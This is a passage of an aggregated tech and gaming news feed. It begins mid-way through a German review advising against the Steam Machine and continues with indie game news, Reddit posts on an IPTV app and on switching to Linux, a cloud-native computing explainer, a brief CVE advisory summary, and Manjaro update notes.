Auch wenn ich mir sicher bin, dass Linux-Fans und überzeugte SteamOS-Anhänger dieses Argument gerne vorbringen würden, kann ich das für den Durchschnittsnutzer, der einfach nur ein paar Spiele spielen möchte, nicht nachvollziehen. Ich sage es ganz offen: Wenn Sie Videospiele spielen möchten und ganz von vorn anfangen, sind eine Playstation 5 (Pro) oder eine Switch 2 die bessere Wahl. Selbst wenn man die zahlreichen exklusiven Titel außer Acht lässt, ist dies einfacher und kostengünstiger, und der zusätzliche Aufwand, der mit SteamOS einhergeht, ist einfach abschreckend.

Für wen ist die Steam Machine also gedacht? Wenn man Valve beim Wort nimmt, ist die Steam Machine für jemanden gedacht, der über eine riesige Steam-Bibliothek verfügt und diese Spiele auf einfache Weise auf seinem Fernseher spielen möchte. Und dafür funktioniert sie … mit wichtigen Ausnahmen, wie zum Beispiel dem Spielen der neuesten Spiele in 4K. Und dafür zahlen Sie einen hohen Preis.

Zum Vergleich: Mein aktueller Gaming-PC (7800X3D und 5070 Ti) würde heute etwa 2.300 Euro kosten, vielleicht 1.500 Euro, bevor dieser ganze KI-Unsinn den Markt in die Höhe getrieben hat. Und er kann Space Marine 2 mit etwa der vierfachen Leistung der Steam Machine spielen – zum 2,5-fachen Preis. Die Steam Machine bietet, wie man es auch dreht und wendet, ein schlechtes Preis-Leistungs-Verhältnis.

SteamOS ist der Star

Trotz alledem bin ich in Bezug auf einen Aspekt der Steam Machine nach wie vor optimistisch: ihr Betriebssystem. Was vor einem Jahrzehnt bei den ursprünglichen Steam Machines noch ein Wunschtraum war, hat sich zu einer echten, auf Gaming ausgerichteten Linux-Version entwickelt, die auch für Mainstream-Nutzer zugänglich ist. Sie ist nicht in jeder Hinsicht perfekt ausgefeilt, aber das ist Windows ja auch nicht. Und diese Version wurde von Grund auf für das Gaming entwickelt.

Valve scheint mir zuzustimmen, da es nun möglich ist, offizielle Versionen von SteamOS auf selbstgebauten PCs zu installieren – ganz ohne „Bazzite“-Distributionen. Es gibt noch viel Unterstützung, die ausgebaut werden muss, vor allem bei Intel- und Nvidia-Hardware, aber auch daran wird bereits gearbeitet. Und da der Steam Frame bald auf den Markt kommt, sieht es so aus, als würde SteamOS auch auf ARM-basierte Hardware vorstoßen. Das ist wirklich spannend.

Michael Crider / Foundry

Allmählich taucht Gaming-PC-Hardware mit vorinstalliertem SteamOS auf, bei der Windows nirgends zu finden ist. Ein solches Gerät haben wir bereits von Lenovo, einem der größten PC-Hersteller der Welt, in Form des „Legion Go“ mit SteamOS erhalten. Es gibt Gerüchte, dass auch kleinere Unternehmen ähnliche Schritte unternehmen. Ich glaube jedoch, dass wir nur noch etwa ein Jahr davon entfernt sind, dass bei Amazon ein Gaming-Laptop mit einem Linux-Betriebssystem verkauft wird.

In der Zwischenzeit würde ich sagen: Kaufen Sie die Steam Machine nicht. Es macht im Moment einfach keinen Sinn, aber auf diesem Markt ist sie in dieser Hinsicht kaum ein Einzelfall. Für die Art von Spielen, bei denen die Steam Machine glänzt, würde ich mir einen günstigeren Mini-PC zulegen und SteamOS darauf installieren. Oder Sie lassen einfach Windows und Steam im Big-Picture-Modus laufen.

Alternativ könnte ein Laptop, den Sie nicht nutzen, wahrscheinlich denselben Zweck erfüllen. Wenn Sie einen Steam-Controller ergattern können, wären Sie schon fast am Ziel. Obwohl ein Xbox-Controller derzeit wahrscheinlich die realistischere Option ist.

Die Steam Machine ist spannend – wenn auch weniger wegen dem, was sie tatsächlich ist, als vielmehr wegen dem, wofür sie steht. Vielleicht verkaufe ich sie in ein paar Monaten, nachdem ich sie ausgiebig ausprobiert habe. Oder ich behalte sie einfach, um weiter zu verfolgen, was Valve mit SteamOS vorhat. Aber das gehört buchstäblich zu meinem Job. Für diejenigen, die einfach nur Spiele spielen möchten, würde ich empfehlen, diese Kaufgelegenheit lieber auszulassen.

2K Megahits Bundle: Humble Bundle schnürt von Bioshock bis XCOM

Sun, 19 Jul 2026 18:20:36 +0200

15,64 Euro kostet es, sich große (Klassiker-)Hits von 2K Games aus dem letzten Jahrzehnt zu sichern. Die Auswahl reicht von B wie Bioshock bis X wie XCOM. Darüber hinaus steckt Humble Bundle auch kleinere Indie-Titel in das „2K Megahits Bundle“.

Indie-Hit: Denshattack! macht den Zug zum Skateboard

Sun, 19 Jul 2026 07:32:34 +0200

Skateboarding on Rails steckt als Prinzip hinter Denshattack!. Das Board wird – man fährt ohnehin auf Schienen – aber einfach durch einen Zug getauscht, mit dem Spieler durch eine dystopische Anime-Version von Japan rollen, grinden und backflippen. Macht Spaß, sagen Tests.

Fred TV Mobile 2.0: Ultra-Fast Open-Source IPTV app, now will full Android TV support and much more!

Sun, 19 Jul 2026 04:54:42 +0200

I've been working really hard those past 3 months to deliver what I can consider to be the best android IPTV app; fully open-source, intuitive, bloat-free and ultra-fast.

Today, I release Fred TV 2.0 on the playstore!

- Optimized to be the fastest IPTV app out there, with a fully re-written backend made in Rust.

- Full Android TV support, D-Pad support on every view

- New easy-to-use redesigned TV Home for Android TV

- Robust playback, even on shoddy streams and on low-end devices

- Full support for Xtream and M3U

Try it out! You won't regret giving it a shot if you're already using other IPTV apps.

If you had tried the app previously under 1.X.X, please try it again, 2.0 is a massive upgrade.

https://play.google.com/store/apps/details?id=dev.fredol.open_tv

https://github.com/fredolx/fred-tv-mobile

Now the reason I'm posting this r/linux is not just to promote the app for Android. I'm doing an experiment. As some of you may know already, I've released before Fred TV for Linux, it uses tauri and rust to deliver a great experience on Desktop. Since the tauri front-end is still a webview at the end of the day, it doesn't deliver the best wayland experience.

So I'm inviting you to try Fred TV Next which should be a lot smoother. It's fully native, no webview. It's essentially the mobile app with a few tweaks. I'll be collecting feedback to see if this is going to be the future of Fred TV. You can grab the .flatpak in the releases and try it out today. The idea is to make one fully convergent IPTV app with shared favorites and sources between devices, and many other features.

Some of you may use old PCs with linux as TV boxes rather than using chinese boxes. I'm all for the eco-friendly nature of re-using old PCs, so here's the thing; you can use Fred TV Next and toggle the 'Force TV Mode' setting. It will give you the same d-pad/tv remote friendly experience as on Android TV, but without the chinese spyware.

EDIT: I'm a honest indie open-source dev making my apps solo, without any AI. I've been programming since 2019 professionally and in my own time. You can inspect my code, build it yourself. This app asks for 0 permissions and uses all the best security standards.

I've been maintaining the original desktop app for years, I have 3000 stars on Github and I've received a lot of support from my supporters which I am very grateful for.

I invite you to try out my app which I've originally made for my friends and family who were using borderline malware proprietary IPTV apps. I'm just putting out there for anyone who would prefer to use an open-source app which focuses on speed and a great search-based UX.

You are free to try it or not. But please if you do not care about IPTV or my app, do not make hateful claims about me. Thank you

submitted by /u/Fredol
[link] [comments]

Gen Z and Millennials are Buying CDs - Though Half Don't Have CD Players

Sat, 18 Jul 2026 22:08:23 +0200

"Approximately half of Gen Z and millennials who have purchased a CD do not own a CD player," according to midyear sales statistics from entertainment data company Luminate. It's driven in part by "collection building", according to their report [PDF]: The CD has been recontextualized from a functional audio format into an affordable collectible. This behavior underscores that for younger generations, the act of buying physical music is as much about aesthetic ownership and direct financial support for the artist as it is listening to the music on the product itself "Among artists who had a direct impact on the resurgence of CDs, K-Pop icons BTS' 10th studio album, ARIRANG, was a big seller," Vice points out in their report on the new data. "However, Luminate also found that, beyond K-Pop's overall influence, CD sales still increased 6.7% year over year, even if the whole genre was removed from the equation, jumping 16% to 16.3 million units." That's more than the growth of vinyl sales (2.4%) — but physical media in general seems to be making a comeback: Through the first half of the year, total physical album sales on vinyl, CDs, and cassettes reached 38.2 million units in the United States. This equates to a 7.8% increase.... [I]t seems that younger music fans have been driving a lot of the retro revival. The report shows that in 2026, 60% of Gen Z listeners said they most often listen to music from the 1990s and older. This is a massive increase from the 18 percent marker in 2021. The new report also revealed that the way music fans are buying physical media has shifted. Indie record stores have been the largest generator of physical album sales for some time, and they continue to be. However, big-box stores like Target and Walmart took significant strides in the first half of 2026. Collectively, their music sales made up about 30% of the market. Thanks to Slashdot reader fjo3 for sharing the article.

Read more of this story at Slashdot.

AI-run 'utopias,' Moss in 2D and other new indie games worth checking out

Sat, 18 Jul 2026 13:47:25 +0200

Enjoy our weekend guide to the best indie games worth checking out.

Indie Pen & Paper-Spiele (hackover2026)

Fri, 17 Jul 2026 22:48:20 +0200

Pen & Paper-Rollenspiele sind spätestens seit Critical Role und Stranger Things im Popkultur-Mainstream angekommen. Von Dungeons & Dragons, Das Schwarze Auge oder Shadowrun haben vermutlich viele schon einmal gehört. Doch gerade abseits dieser Platzhirsche gibt es eine blühende Indie-Szene, die ich in diesem Talk vorstellen möchte. Pen & Paper-Spiele sind noch ein recht junges Genre, dessen Entwicklung ich kurz aufzeigen möchte. Dann schauen wir uns die groben Untergenres nach Spielmechanik bzw. -Stil an und tauchen dann in die Vielfalt der Indie-Szene ein, sowohl international als auch im deutschsprachigen Raum. Wir schauen uns an, was es eigentlich braucht, um selbst ein Pen & Paper-Spiel zu gestalten (Spoiler: Zeichnen können ist weniger wichtig, als ihr denkt) und welche Communities im deutschsprachigen Raum es für Indie-Rollenspiel-Design gibt. Ich werde auch einige Spiele und Systeme als Anschauungsmaterial mitbringen. Wer nach dem Talk Lust hat, selbst eine Runde zu spielen, kann mich gern ansprechen. Licensed to the public under https://creativecommons.org/licenses/by/4.0/ about this event: https://talks.hackover.de/ho26/talk/YGVYYL/

Indie Pen & Paper-Spiele (hackover2026)

Fri, 17 Jul 2026 21:47:44 +0200

Seattle indie hit ‘Stardew Valley’ is coming to ‘Magic: The Gathering’

Fri, 17 Jul 2026 21:47:14 +0200

Stardew Valley, the blockbuster farming sim from solo Seattle developer Eric "ConcernedApe" Barone, is coming to Magic: The Gathering via a three-part Secret Lair drop from Renton-based Wizards of the Coast — with original pixel art from Barone himself. Read More

Looking For Fael: Neues 3D Adventure von Arte

Fri, 17 Jul 2026 17:13:30 +0200

Mit Looking For Fael hat die französische Sparte des europäischen Kultursenders Arte jüngst ein weiteres kreatives Adventure veröffentlicht. Das 3D-Rätselspiel wurde von den Indie-Studios Swing Swing Submarine und La Poule Noire entwickelt und ist ab sofort für macOS, Windows, Nintendo Switch, Xbox und PlayStation verfügbar. Direkt zu Spielbeginn erhaltet ihr eine ungewöhnliche Sprachnachricht von eurem […]

The post Looking For Fael: Neues 3D Adventure von Arte first appeared on ifun.de.

Valve Steam Machine Review: A Compromised Console

Fri, 17 Jul 2026 13:03:28 +0200

Great for indie darlings, but Sony, Microsoft, and Nintendo remain kings of TV gaming.

Thoughts From a First-Time Linux User

Fri, 17 Jul 2026 04:10:56 +0200

Sorry for the long read I was just kicking tires and wanted to write this.

I wanted to share my experience with using Linux for the first time. I started using Linux in 2024 when I bought my first gaming laptop. I have loved it, so I want to share some of my pro's and con's about it.

I have an ASUS Rog Zephyrus G16 laptop. It has a Intel Core 9, RTX 4070M, and 16GB RAM.

I played games as a kid, but when I went to university I bought a slug so I was not tempted to play games all day. That laptop carried me until senior year when I got a gaming laptop because I needed better hardware to run Unity and Android Studio.

And hooooooly shit I would rather walk 40 days and 40 nights in the desert than use Windows 11 anymore.

The ram usage is insane. From my previous experience gaming in my teens I figured 16 gigabytes of ram would be sufficient, but now it's like Palantir is running army drone simulations on it. The worst part is some of the basic software shoves the Windows Store down your throat. I couldn't even install Python without Bill Gates personally coming to my house to ask me if I had the proper security clearances and a Windows account. As a hail mary I installed Ubuntu.

Some pros:

Installing applications took some getting used to. I really am terminal-averse, but after practicing some installations I really found it quite easy. It really is nice to not have to go to multiple websites to download Steam or Discord.

It runs fast and it runs cool. My laptop runs ten degrees cooler than it does on Windows 11. I have no clue why. It runs all of the same applications as Windows but with less usage, less ram, and at lower temperatures.

I can configure anything. If I don't like my UI, or something is broken, I can fix it. I really don't think my switch would have been as smooth if it had not been for having a Claude subscription. I really think it helped with the out of box setup. For example, I had this super obscure bug where the brightness controller was not working. My specific machine would not respond to the existing brightness dial, so I had Claude take a look and it wrote a prefix into initramfs to select the correct driver for my HDR display. That would have taken me weeks to solve, especially because there were zero internet resources for it.

Some cons:

I hate to say it, but I really dislike certain Linux communities. A handful of them seem to believe that the harder a software is to use, the more genius it makes them. It drives me up a wall. If it doesn't have to be complicated, then it shouldn't be complicated! When it comes to getting help, the first primitive reflex some Linux users seem to have is to tell me to switch distros, and I totally hate it. If my problem is so bad that I literally have to switch entire operating systems to solve it, then I am better off getting a Mac. People wonder why nobody uses Linux, and I really think this is the crux of it. The people that should be your advocates have left the room. (Except for you, Reader. You're awesome! 😄).

Some things could be easier. Windows allows people to just download an installer and run it with full GUI. Now that I'm intermediately seasoned on Linux, I don't really need installs to be that easy, but if I was someone starting from zero it would be nice to have some modern flow to installations and removals of software like Windows has. Now fortunately, many distros have a Software Center you can use, it's just that those are limited to major softwares.

I can configure anything until it's broken. When I started using Ubuntu, I was setting up a KVM to run some games that were Windows-only compatible, and I bricked the entire OS a couple of times. I really don't think that this should change, but if I were giving advice to someone who just installed Linux I would definitely remind them to have their own thumb drive at all times haha.

As Linux users, what are your thoughts on the OS? Is there anything that you think Linux does better than Windows? Anything you'd like to change?

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Direkt zum Release: Indie-Spiel landet überraschend im Xbox Game Pass

Wed, 15 Jul 2026 18:41:03 +0200

Schon in der Vergangenheit hatte es unangekündigte Neuzugänge im Xbox Game Pass gegeben. Jetzt wird ein kooperatives Horrorspiel am 22. Juli überraschend direkt zu seiner Veröffentlichung Teil des Gaming-Abos von Microsoft. (Weiter lesen)

Denshattack! is a hybrid of all the best fast-paced platformers I've ever played, and I'm convinced it's a stand out indie game this year

Wed, 15 Jul 2026 17:18:18 +0200

It's been a while since a platformer has left me amazed, and Denshattack! easily provides one of the best experiences in the genre.

Xbox adds 52 more titles to 'Stream Your Own Games,' including Black Ops 6 and indie classics

Wed, 15 Jul 2026 17:10:51 +0200

Xbox's "Stream Your Own Games" library has expanded with 52 new titles. Game Pass subscribers who own these games can now stream Call of Duty: Black Ops 6 and a bunch of indie classics.

Zombies, gore and creepy kids – why we can’t stop playing horror games

Wed, 15 Jul 2026 16:18:25 +0200

As global anxieties multiply, video games from Resident Evil to Mouthwashing are providing rich source material to help decode society’s problems

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Horror is so hot right now. There’s Obsession, Evil Dead Burn and Hokum in the cinema, Widow’s Bay, From and Something Very Bad Is Going to Happen on TV, and, of course, a rotting smorgasbord of horror games including Resident Evil Requiem (pictured top) and Reanimal, soon to be joined by Silent Hill: Townfall, Silver Pines and Dreadmoor. We’re also seeing weird cross-pollinations, with horror movie studio Blumhouse making games, while games themselves become horror films and the whole backrooms genre infects every medium it touches.

So it was fascinating to attend last week’s horror and gaming conference at Falmouth University, in Cornwall: a gathering of students, researchers and lecturers, all engaged in the academic study of horror games. There were brilliant talks on zombies and posthumanism, the gothic in games, and the role of monstrous little girls in survival horror (there are a lot of them!). Subjects as diverse as masculine fragility, disability and ageing came up; Will Doyle, creative director at Supermassive Games, gave a great keynote on the art of creating horror in games using tools such as revulsion, spatial alienation and the human instinct of apophenia. I learned a lot about theorists such as Julia Kristeva and Mark Fisher, and about the technical similarities between indie horror games and film noir (for example, the use of darkness and creative camera techniques to “hide” budget restrictions). It was incredible fun.

This viral Steam PC horror game is coming exclusive to Xbox on consoles next week, with Game Pass and Play Anywhere

Wed, 15 Jul 2026 15:42:35 +0200

Bun Muen, the developer of the upcoming viral indie horror game Shift At Midnight, has announced that, in addition to PC, it's also coming to Xbox consoles, Xbox Game Pass, and Xbox Play Anywhere on July 22, 2026.

Face the cold and various horrors in the spooky looking After Hell Freezes Over

Tue, 14 Jul 2026 09:42:45 +0200

This upcoming indie survival game looks quite unusual with its mixture of atmospheric storytelling and immersive survival mechanics.

Read the full article on GamingOnLinux.

The Witcher 1 Remake Faces a Major Open-World Challenge

Tue, 14 Jul 2026 09:25:40 +0200

The Witcher 1 Remake will rebuild the original game in Unreal Engine 5, but its planned open-world structure creates a major challenge for the developers.…

The post The Witcher 1 Remake Faces a Major Open-World Challenge appeared first on OnMSFT.

Monster Fantasy Blends Monster Hunter Combat With Animal Crossing Life Sim Features

Mon, 13 Jul 2026 18:57:04 +0200

Monster Fantasy is shaping up as an unusual mix of action combat, life simulation, crafting, and online co-op. Chinese indie studio Jotoyo wants the game…

The post Monster Fantasy Blends Monster Hunter Combat With Animal Crossing Life Sim Features appeared first on OnMSFT.

Cloud native explained: How to build scalable, resilient applications

Mon, 13 Jul 2026 17:04:33 +0200

What is cloud native? Cloud native defined

The term “cloud-native computing” encompasses the modern approach to building and running software applications that exploit the flexibility, scalability, and resilience of cloud computing. The phrase is a catch-all that encompasses not just the specific architecture choices and environments used to build applications for the public cloud, but also the software engineering techniques and philosophies used by cloud developers.

The Cloud Native Computing Foundation (CNCF) is an open source organization that hosts many important cloud-related projects and helps set the tone for the world of cloud development. The CNCF offers its own definition of cloud native:

Cloud native practices empower organizations to develop, build, and deploy workloads in computing environments (public, private, hybrid cloud) to meet their organizational needs at scale in a programmatic and repeatable manner. It is characterized by loosely coupled systems that interoperate in a manner that is secure, resilient, manageable, sustainable, and observable.

Cloud native technologies and architectures typically consist of some combination of containers, service meshes, multi-tenancy, microservices, immutable infrastructure, serverless, and declarative APIs — this list is not exhaustive.

This definition is a good start, but as cloud infrastructure becomes ubiquitous, the cloud native world is beginning to spread behind the core of this definition. We’ll explore that evolution as well, and look into the near future of cloud-native computing.

Cloud native architectural principles

Let’s start by exploring the pillars of cloud-native architecture. Many of these technologies and techniques were considered innovative and even revolutionary when they hit the market over the past few decades, but now have become widely accepted across the software development landscape.

Microservices. One of the huge cultural shifts that made cloud-native computing possible was the move from huge, monolithic applications to microservices: small, loosely coupled, and independently deployable components that work together to form a cloud-native application. These microservices can be scaled across cloud environments, though (as we’ll see in a moment) this makes systems more complex.

Containers and orchestration. In could-native architectures, individual microservices are executed inside containers — lightweight, portable virtual execution environments that can run on a variety of servers and cloud platforms. Containers insulate the developers from having to worry about the underlying machines on which their code will execute. That is, all they have to do is write to the container environment.

Getting the containers to run properly and communicate with one another is where the complexity of cloud native computing starts to emerge. Initially, containers were created and managed by relatively simple platforms, the most common of which was Docker. But as cloud-native applications got more complex, container orchestration platforms that augmented Docker’s functionality emerged, such as Kubernetes, which allows you to deploy and manage multi-container applications at scale. Kubernetes is critical to cloud native computing as we know it — it’s worth noting that the CNCF was set up as a spinoff of the Linux Foundation on the same day that Kubernetes 1.0 was announced — and adhering to Kubernetes best practices is an important key to cloud native success.

Open standards and APIs. The fact that containers and cloud platforms are largely defined by open standards and open source technologies is the secret sauce that makes all this modularity and orchestration possible, and standardized and documented APIs offer the means of communication between distributed components of a larger application. In theory, anyway, this standardization means that every component should be able to communicate with other components of an application without knowing about their inner workings, or about the inner workings of the various platform layers on which everything operates.

DevOps, agile methodologies, and infrastructure as code. Because cloud-native applications exist as a series of small, discrete units of functionality, cloud-native teams can build and update them using agile philosophies like DevOps, which promotes rapid, iterative CI/CD development. This enables teams to deliver business value more quickly and more reliably.

The virtualized nature of cloud environments also make them great candidates for infrastructure as code (IaC), a practice in which teams use tools like Terraform, Pulumi, and AWS CloudFormation, to manage infrastructure declaratively and version those declarations just like application code. IaC boosts automation, repeatability, and resilience across environments—all big advantages in the cloud world. IaC also goes hand-in-hand with the concept of immutable infrastructure—the idea that, once deployed, infastructure-level entities like virtual machines, containers, or network appliances don’t change, which makes them easier to manage and secure. IaC stores declarative configuration code in version control, which creates an audit log of any changes.

There’s a lot to love about cloud-native architectures, but there are also several things to be wary of when considering it.

Foundry

How the cloud-native stack is expanding

As cloud-native development becomes the norm, the cloud-native ecosystem is expanding; the CNCF maintains a graphical representation of what it calls the cloud native landscape that hammers home to expansive and bewildering variety of products, services, and open source projects that contribute to (and seek to profit from) to cloud-native computing. And there are a number of areas where new and developing tools are complicating the picture sketched out by the pillars we discussed above.

An expanding Kubernetes ecosystem. Kubernetes is complex, and teams now rely on an entire ecosystem of projects to get the most out of it: Helm for packaging, ArgoCD for GitOps-style deployments, and Kustomize for configuration management. And just as Kubernetes augmented Docker for enterprise-scale deployments. Kubernetes itself has been augmented and expanded by service mesh offerings like Istio and Linkerd, which offer fine-grained traffic control and improved security

Observability needs. The complex and distributed world of cloud-native computing requires in-depth observability to ensure that developers and admins have a handle on what’s happening with their applications. Cloud-native observability uses distributed tracing and aggregated logs to provide deep insight into performance and reliability. Tools like Prometheus, Grafana, Jaeger, and OpenTelemetry support comprehensive, real-time observability across the stack.

Serverless computing. Serverless computing, particularly in its function-as-a-service guise, offers to strip needed compute resources down to their bare minimum, with functions running on service provider clouds using exactly as much as they need and no more. Because these services can be exposed as endpoints via APIs, they are increasingly integrated into distributed applications, operating side-by-side with functionality provided by containerized microservices. Watch out, though: the big FaaS providers (Amazon, Microsoft, and Google) would love to lock you in to their ecosystems.

FinOps. Cloud computing was initially billed as a way to cut costs — no need to pay for an in-house data center that you barely use — but in practice it replaces capex with opex, and sometimes you can run up truly shocking cloud service bills if you aren’t careful. Serverless computing is one way to cut down on those costs, but financial operations, or FinOps, is a more systematic discipline that aims to aligns engineering, finance, and product to optimize cloud spending. FinOps best practices make use of those observability tools to best determine what departments and applications are eating up resources.

How cloud-native architecture is adapting to AI workloads

Enterprises deploy larger AI models and make use of more and more real-time inference services. That’s putting demands on cloud-native systems and forcing them to adapt to remain scalable and reliable.

For instance, organizations are re-engineering cloud environments around GPU-accelerated clusters, low-latency networking, and predictable orchestration. These needs align with established cloud-native patterns: containers package AI services consistently, while Kubernetes provides resilient scheduling and horizontal scale for inference workloads that can spike without warning.

Kubernetes itself is changing to better support AI inference, adding hardware-aware scheduling for GPUs, model-specific autoscaling behavior, and deeper observability into inference pipelines. These enhancements make Kubernetes a more natural platform for serving generative AI workloads.

AI’s resource demands are amplifying traditional cloud-native challenges. Observability becomes more complex as inference paths span GPUs, CPUs, vector databases, and distributed storage. FinOps teams contend with cost volatility from training and inference bursts. And security teams must track new risks around model provenance, data access, and supply-chain integrity.

Application frameworks for building distributed cloud-native apps

Microsoft’s Aspire is one of the most visible examples of a shift towards application frameworks to simplify how teams build distributed systems. Opinionated frameworks like Aspire provide structure, observability, and integration out of the box so developer don’t need to stitch together containers, microservices, and orchestration tooling by hand.

Aspire in particular is a prescriptive framework for cloud-native applications, bundling containerized services, environment configuration, health checks, and observability into a unified development model. Aspire provides defaults for service-to-service communication, configuration, and deployment, along with a built-in dashboard for visibility across distributed components.

While Aspire was originally aligned with Microsoft’s .NET platform,Redmond now sees it as having a polyglot future. This positions Aspire as part of a broader trend: frameworks that help teams build cloud-native, service-oriented systems without being locked into a single language ecosystem. Several other frameworks are gaining traction: Dapr provides a portable runtime that abstracts many of the plumbing tasks in cloud-native distributed applications, and Orleans offers an actor-model-based framework for large-scale systems in the .NET world, and Akka gives JVM teams a mature, reactive toolkit for elastic, resilient services.

Frameworks and tools in the expanding cloud-native ecosystem

While frameworks like Aspire simplify how developers compose and structure distributed applications, most cloud-native systems still depend on a broader ecosystem of platforms and operational tooling. This deeper layer is where much of the complexity—and innovation—of cloud-native computing lives, particularly as Kubernetes continues to serve as the industry’s control plane for modern infrastructure.

Kubernetes provides the core abstractions for deploying and orchestrating containerized workloads at scale. Managed distributions such as Google Kubernetes Engine (GKE), Amazon EKS, Azure AKS, and Red Hat OpenShift build on these primitives with security, lifecycle automation, and enterprise support. Platform vendors are increasingly automating cluster operations—upgrades, scaling, remediation—to reduce the operational burden on engineering teams.

Surrounding Kubernetes is a rapidly expanding ecosystem of complementary frameworks and tools. Service meshes like Istio and Linkerd provide fine-grained traffic management, policy enforcement, and mTLS-based security across microservices. GitOps platforms such as Argo CD and Flux bring declarative, version-controlled deployments to cloud-native environments. Meanwhile, projects like Crossplane turn Kubernetes into a universal control plane for cloud infrastructure, letting teams provision databases, queues, and storage through familiar Kubernetes APIs. These tools illustrate how cloud-native development now spans multiple layers: developer-focused application frameworks like Aspire at the top, and a powerful, evolving Kubernetes ecosystem underneath that keeps modern distributed applications running.

Advantages and challenges for cloud-native development

Cloud native has become so ubiquitous that its advantages are almost taken for granted at this point, but it’s worth reflecting on the beneficial shift the cloud native paradigm represents. Huge, monolithic codebases that saw updates rolled out once every couple of years have been replaced by microservice-based applications that can be improved continuously. Cloud-based deployments, when managed correctly, make better use of compute resources and allow companies to offer their products as SaaS or PaaS services.

But cloud-native deployments come with a number of challenges, too:

Complexity and operational overhead: You’ll have noticed by now that many of the cloud-native tools we’ve discussed, like service meshes and observability tools, are needed to deal with the complexity of cloud-native applications and environments. Individual microservices are deceptively simple, but coordinating them all in a distributed environment is a big lift.
Security: More services executing on more machines, communicating by open APIs, all adds up to a bigger attack surface for hackers. Containers and APIs each have their own special security needs, and a policy engine can be an important tool for imposing a security baseline on a sprawling cloud-native app. DevSecOps, which adds security to DevOps, has become an important cloud-native development practice to try to close these gaps.
Vendor lock-in: This may come as a surprise, since cloud-native is based on open standards and open source. But there are differences in how the big cloud and serverless providers works, and once you’ve written code with one provider in mind, it can be hard to migrate elsewhere.
A persistent skills gap: Cloud-native computing and development may have years under its belt at this point, but the number of developers who are truly skilled in this arena is a smaller portion of the workforce than you’d think. Companies face difficult choices in bridging this skills gap, whether that’s bidding up salaries, working to upskill current workers, or allowing remote work so they can cast a wide net.

Cloud native in the real world

Cloud native computing is often associated with giants like Netflix, Spotify, Uber, and AirBNB, where many of its technologies were pioneered in the early ’10s. But the CNCF’s Case Studies page provides an in-depth look at how cloud native technologies are helping companies. Examples include the following:

A UK-based payment technology company that can switch between data centers and clouds with zero downtime
A software company whose product collects and analyzes data from IoT devices — and can scale up as the number of gadgets grows
A Czech web service company that managed to improve performance while reducing costs by migrating to the cloud

Cloud-native infrastructure’s capability to quickly scale up to large workloads also make it an attractive platform for developing AI/ML applications: another one of those CNCF case studies looks at how IBM uses Kubernetes to train its Watsonx assistant. The big three providers are putting a lot of effort into pitching their platforms as the place for you to develop your own generative AI tools, with offerings like Azure AI Foundry,Google Firebase Studio, and Amazon Bedrock. It seems clear that cloud native technology is ready for what comes next.

Learn more about related cloud-native technologies:

Nvidia bringt neue Karten auf den Markt, die sich jeder leisten kann

Mon, 13 Jul 2026 08:32:17 +0200

Nvidia hat die „GeForce Trading Cards: Series 1“ vorgestellt, eine kostenlose Serie von “Sammelkarten”, die die Geschichte des Unternehmens im Bereich PC-Gaming würdigt. Die Serie umfasst 14 verschiedene Karten mit Motiven historischer Grafikkarten, klassischer Technik-Demos und bekannter Spiele, die die Marke GeForce im Laufe der Jahre geprägt haben.

Zu den Karten gehören unter anderem die NV1 aus dem Jahr 1995, die GeForce 256 sowie die GeForce 3, die GeForce 7800 GTX und die GeForce GTX 1080. Die Serie umfasst zudem Karten, die von Technik-Demos wie „Bubble“, „Chameleon“ und „Medusa“ sowie von Spielen wie „Unreal Tournament 2004“ und „Borderlands“ inspiriert sind.

Die Sammlerkarten werden im Rahmen der „Summer of RTX“-Kampagne von Nvidia kostenlos über die sozialen Medien des Unternehmens sowie auf Spielemessen und Veranstaltungen wie der Gamescom 2026 verteilt. Es handelt sich dabei also nicht um echte benutzbare Sammelkarten.

Laut Nvidia soll damit die Aufmerksamkeit auf Grafikkarten und Spiele gelenkt werden, die Generationen von PC-Spielern geprägt haben. Ein zusätzlicher Vorteil ist, dass die „GeForce Trading Cards: Series 1“ – obwohl die Speicherkrise die Preise für alle möglichen Grafikkarten in die Höhe getrieben hat – tatsächlich Nvidia-Karten sind, die sich jeder leisten kann. Zumindest solange, bis sie auf dem Gebrauchtmarkt auftauchen.

Nvidia RTX-6000-Serie soll erst Ende 2027 erscheinen

CVE-2026-15522 | tugcantopaloglu godot-mcp 2.0.0 run_project build/index.js validatePath projectPath path traversal (EUVD-2026-43264)

Mon, 13 Jul 2026 07:53:49 +0200

A vulnerability was found in tugcantopaloglu godot-mcp 2.0.0 and classified as critical. Affected by this vulnerability is the function validatePath of the file build/index.js of the component run_project. The manipulation of the argument projectPath results in path traversal. This vulnerability is known as CVE-2026-15522. Attacking locally is a requirement. Furthermore, an exploit is available. It is suggested to upgrade the affected component.

Nvidia bringt neue Karten auf den Markt, die sich jeder leisten kann

Sun, 12 Jul 2026 09:17:45 +0200

Nvidia RTX-6000-Serie soll erst Ende 2027 erscheinen

Engadget Indie Pitch: Penguin Colony

Sat, 11 Jul 2026 14:33:05 +0200

"You won't know until you do and then it is too late."

I Mined and Built My Way Through Space Haven

Sat, 11 Jul 2026 14:15:49 +0200

An indie game studio out of Finland, Linus Torvalds' birth country, built this game, treating Linux as a first-class citizen.

Palworld 1.0, Tiny Bookshop on mobile and other new indie games worth checking out

Sat, 11 Jul 2026 13:32:32 +0200

Our weekly roundup of the best new indie games is here.

[Stable Update] 2026-07-11 - Kernels, COSMIC 1.2, Xorg, Firefox, Thunderbird, KDE Gear

Sat, 11 Jul 2026 01:15:49 +0200

Hello Manjaro user community, here we have another set of package updates. This also marks the stable release of ‘Bian-May’ - Manjaro 26.1. We will work now on the Release Candidate ISOs to test possible issues before releasing new install medias.

Current Promotions

Get the latest Gaming Laptop by Slimbook powered by Manjaro: Slimbook Manjaro III
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Recent News

New in Manjaro GNOME! Or, if you prefer the command line: (click for more details) KDE Plasma users with SDDM can now migrate to Plasma Login Manager (click for more details) NVIDIA 590 driver drops Pascal support (click for more details)

Manjaro 26.1 Bian-May - Preview released
Manjaro 26.0 Anh-Linh released
Manjaro Summit public Alpha now available
As of Linux 5.4.302, the 5.4 series is now EOL (End Of Life). Please install 5.10 LTS (Long Term Support) or 5.15 LTS.
As of Linux 6.16.12, the 6.16 series is now EOL (End Of Life). Please install 6.18 LTS (Long Term Support) and/or 6.12 LTS.
As of Linux 6.17.13, the 6.17 series is now EOL (End Of Life). Please install 6.18 LTS (Long Term Support) and/or 6.12 LTS.
As of Linux 6.19.14, the 6.19 series is now EOL (End Of Life). Please install 7.0, and/or 6.18 LTS (Long Term Support) and/or 6.12 LTS.
